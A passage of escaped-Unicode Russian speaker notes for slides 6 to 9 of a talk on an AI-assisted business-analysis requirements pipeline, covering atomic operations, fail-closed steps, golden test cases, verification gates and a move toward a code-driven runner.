\u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  